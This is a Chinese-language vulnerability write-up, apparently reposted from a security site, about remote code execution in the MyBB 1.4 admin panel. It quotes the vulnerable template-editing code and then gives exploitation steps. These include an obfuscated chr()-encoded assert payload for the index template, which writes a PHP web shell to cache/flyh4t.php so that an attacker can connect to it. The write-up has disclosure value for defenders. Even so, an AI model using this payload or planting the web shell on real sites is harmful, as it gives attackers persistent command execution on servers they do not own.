MyBB 1.4 admin remote code execution vulnerability

来源:岁月联盟 编辑:zhuzhu 时间:2010-01-10

//admin/modules/style/templates.php,372行开始

 if($mybb->input['action'] == "edit_template")
{
 $plugins->run_hooks("admin_style_templates_edit_template");

 if(!$mybb->input['title'] || !$sid)
 {
  flash_message($lang->error_missing_input, 'error');
  admin_redirect("index.php?module=style/templates");
 }

 if($mybb->request_method == "post")
 {
  if(empty($mybb->input['title']))
  {
   $errors[] = $lang->error_missing_title;
  }

  if(!$errors)
  {
   $query = $db->simple_select("templates", "*", "tid='{$mybb->input['tid']}'");
   $template = $db->fetch_array($query);
   //获取到我们输入的内容,包括模板的标题和内容
   $template_array = array(
    'title' => $db->escape_string($mybb->input['title']),
    'sid' => $sid,
    'template' => $db->escape_string(trim($mybb->input['template'])),
    'version' => $mybb->version_code,
    'status' => '',
    'dateline' => TIME_NOW
   );

   // Make sure we have the correct tid associated with this template. If the user double submits then the tid could originally be the master template tid, but because the form is sumbitted again, the tid doesn't get updated to the new modified template one. This then causes the master template to be overwritten
   $query = $db->simple_select("templates", "tid", "title='".$db->escape_string($template['title'])."' AND (sid = '-2' OR sid = '{$template['sid']}')", array('order_by' => 'sid', 'order_dir' => 'desc', 'limit' => 1));
   $template['tid'] = $db->fetch_field($query, "tid");

   if($sid > 0)
   {
    // Check to see if it's never been edited before (i.e. master) of if this a new template (i.e. we've renamed it)  or if it's a custom template
    $query = $db->simple_select("templates", "sid", "title='".$db->escape_string($mybb->input['title'])."' AND (sid = '-2' OR sid = '{$sid}' OR sid='{$template['sid']}')", array('order_by' => 'sid', 'order_dir' => 'desc'));
    $existing_sid = $db->fetch_field($query, "sid");
    $existing_rows = $db->num_rows($query);
    //更新模版数据库
    if(($existing_sid == -2 && $existing_rows == 1) || $existing_rows == 0)
    {
     $tid = $db->insert_query("templates", $template_array);
    }
    else
    {
     $db->update_query("templates", $template_array, "tid='{$template['tid']}' AND sid != '-2'");
    }
   }

从以上的代码可以发现,这是一个典型的“二次”漏洞.我们在后台将php代码通过编辑模板注入到数据库,然后到访问前台文件取出代码进入eval函数成功执行代码,注入代码的时候要规避一些敏感符号。比较遗憾的是这个漏洞需要管理员权限才能利用,仅能作为后台getwebshell的方法。

[二]漏洞利用:

在后台 Home -> Template Sets -> Default Templates 选择Edit Template: index
在{$headerinclude}下写入如下一段代码后保存

{${assert(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(99).chr(97).chr(99).chr(104).chr(101).chr(47).chr(102).chr(108).chr(121).chr(104).chr(52).chr(116).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(64).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(119).chr(93).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(102).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59))}}

访问首页后将在cache目录下生成flyh4t.php,内容为<?php @$_POST[w]($_POST[f])?>,可以使用客户端连接。